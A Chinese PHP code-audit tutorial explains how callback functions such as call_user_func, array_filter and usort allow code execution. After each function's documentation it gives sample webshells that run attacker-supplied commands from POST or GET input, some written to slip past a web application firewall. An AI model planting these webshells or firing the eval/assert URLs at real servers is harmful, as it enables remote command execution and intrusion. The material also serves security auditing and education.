代码审计|PHP代码执行函数进阶版实力上线了!
本篇涉及函数:call_user_func()、call_user_func_array(),array_filter,usort,uasort()
0x01 call_user_func函数
源自官方的解释:
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一个参数作为回调函数调用, 后续参数作为回调函数的参数传入。
说明:
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
参数:
callback
将被调用的回调函数(callable)。
parameter
0个或以上的参数,被传入回调函数。
返回值:返回回调函数的返回值。
call_user_func() 的例子
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problemn";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
以上例程会输出:
You wanted a mushroom haircut, no problem You wanted a shave haircut, no problem
`````
利用示例代码 &【dogBypass】
<?php
//func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
call_user_func($bad_func,$bad_cmd);
?>
0x02 call_user_func_array函数
源自官方的解释:
call_user_func_array
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。
说明:
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
参数:
callback
被调用的回调函数。
param_arr
要被传入回调函数的数组,这个数组得是索引数组。
返回值:返回回调函数的结果。如果出错的话就返回FALSE
Example #1 call_user_func_array()例子
<?php
function foobar($arg, $arg2) {
echo __FUNCTION__, " got $arg and $arg2n";
}
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2n";
}
}
// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>
以上例程的输出类似于:
foobar got one and two foo::bar got three and four
`````
利用示例代码 &【dogBypass】
<?php
//func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_array[0]=$_POST['cmd'];
call_user_func_array($bad_func,$bad_array);
?>
0x03 array_filter函数
源自官方的解释:
array_filter
(PHP 4 >= 4.0.6, PHP 5, PHP 7)
array_filter — 用回调函数过滤数组中的单元
说明:
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
参数:
array
要循环的数组
callback
使用的回调函数
如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。
flag
决定callback接收的参数形式:
· ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数 。
· ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值 。
返回值:返回过滤后的数组。
Example #1 array_filter() 例子
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}
function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}
$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);
echo "Odd :n";
print_r(array_filter($array1, "odd"));
echo "Even:n";
print_r(array_filter($array2, "even"));
?>
以上例程会输出:
Odd : Array ( [a] => 1 [c] => 3 [e] => 5 ) Even: Array ( [0] => 6 [2] => 8 [4] => 10 [6] => 12 )
``````
利用代码示例&【dogBypass】
<?php
//func=system&cmd=whoami
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array($cmd);
$evil = trim('a r ra y_fi lt er');
$evil = str_replace(" ", "", $evil);
$evil($array1, $func);
?>
0x04 usort函数
源自官方的解释:
(PHP 4, PHP 5, PHP 7)
usort — 使用用户自定义的比较函数对数组中的值进行排序
说明:
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
Note:
If two members compare as equal, their relative order in the sorted array is undefined.
Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。
参数:
array
输入的数组
cmp_function
在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。
int callback ( mixed $a, mixed $b )
Caution
Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.
返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。
``````
利用代码示例:
源自 am0s师傅的博客:http://www.am0s.com/functions/97.html
php>=5.6
<?php usort(...$_GET);?>
GET: [['$a=0','eval($_POST["x"])'],'assert'];
http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
php>=<5.6
<?php usort($_GET,'asse'.'rt');?>
http://www.url.com/test.php?1=1+1&2=eval($_POST[x])
这里am0s师傅利用到了PHP5.6的一个特性:
利用代码示例&【dogBypass】
<?php
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array(1,$cmd);
$a = usort($array1, $func);
0x05 uasort函数
(PHP 4, PHP 5, PHP 7)
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
说明:
bool uasort ( array &$array , callable $value_compare_func )
本函数对数组排序并保持索引和单元之间的关联。
主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。
Note:
If two members compare as equal, their relative order in the sorted array is undefined.
参数:
array
输入的数组。
value_compare_func
用户自定义比较函数的例子请参考 usort() 和 uksort()。
返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。
Example #1 uasort() 的基本例子。
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);
// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?>
以上例程会输出:
Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 ) Array ( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8 )
``````
利用代码 示例& 【dogBypass】
<?php
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array(1,$cmd);
$a = uasort($array1, $func);
?>
总结
代码执行函数总结篇完结啦!小伙们可将本期与上期的稿件进行结合学习,当然如果你有其他的代码执行函数,欢迎在公众平台上给斗哥留言,咱们一起讨论交流。
- 我的职业是前端工程师【三】:学习前端只需要三个月【语言篇】
- 模式应用:自定义匹配
- 我的职业是前端工程师【五】: 前端工程师必会的六个调试技能
- WPF中ICommand接口 的一个设计问题
- 我的职业是前端工程师【四】:如何选择合适的前端框架,告别选择恐惧症
- 我的职业是前端工程师【七】:你真的懂前后端分离吗?
- 使用了 Google AMP 网站加速技术后,我的博客快了八倍
- 前端程序员必知:单页面应用的核心
- b这样去设计 URL,可以提高网站的访问量
- 程序员必知之SEO
- 进程监控工具supervisor 启动Mongodb
- 祭奠那些年,我弃坑的开源轮子
- 这些奇技浮巧,助你优化前端应用性能
- Stepping.js——两步完成前后端分离架构设计
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Android制作登录页面并且记住账号密码功能的实现代码
- Yii框架分页技术实例分析
- PHP命名空间与自动加载机制的基础介绍
- Flutter下Android Studio配置gradle的方法
- Flutter 实现整个App变为灰色的方法示例
- Android studio开发小型对话机器人app(实例代码)
- php中的钩子理解及应用实例分析
- AndroidX下使用Activity和Fragment的变化详解
- PHP Primary script unknown 解决方法总结
- PHP如何将图片文件上传到另外一台服务器上
- android实现滑动解锁
- laravel框架模板之公共模板、继承、包含实现方法分析
- Android项目实战之百度地图地点签到功能
- PHP Redis扩展无法加载的问题解决方法
- PHP 文件上传限制问题